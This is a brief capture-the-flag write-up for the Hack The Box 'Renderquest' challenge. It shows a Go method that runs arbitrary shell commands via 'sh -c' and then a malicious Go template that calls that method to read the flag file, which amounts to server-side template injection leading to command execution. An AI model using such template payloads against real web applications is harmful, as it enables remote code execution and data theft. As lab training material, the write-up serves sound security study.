Renderquest
https://app.hackthebox.com/challenges/renderquest
Homepage

Src code review
Malicious template

Reference
Last updated
https://app.hackthebox.com/challenges/renderquest


Last updated
func (p RequestData) FetchServerInfo(command string) string {
out, err := exec.Command("sh", "-c", command).Output()
if err != nil {
return ""
}
return string(out)
}reqData.ClientIP = clientIP
reqData.ClientUA = userAgent
reqData.ClientIpInfo = *locationInfo
reqData.ServerInfo.Hostname = reqData.FetchServerInfo("hostname")
reqData.ServerInfo.OS = reqData.FetchServerInfo("cat /etc/os-release | grep PRETTY_NAME | cut -d '\"' -f 2")
reqData.ServerInfo.KernelVersion = reqData.FetchServerInfo("uname -r")
reqData.ServerInfo.Memory = reqData.FetchServerInfo("free -h | awk '/^Mem/{print $2}'")<html>
<body>
<h1> RCE execution </h1>
<p>{{.ServerInfo.KernelVersion}}</p>
<p>Flag: {{.FetchServerInfo "cat /flag*" }} </p>
</body>
</html>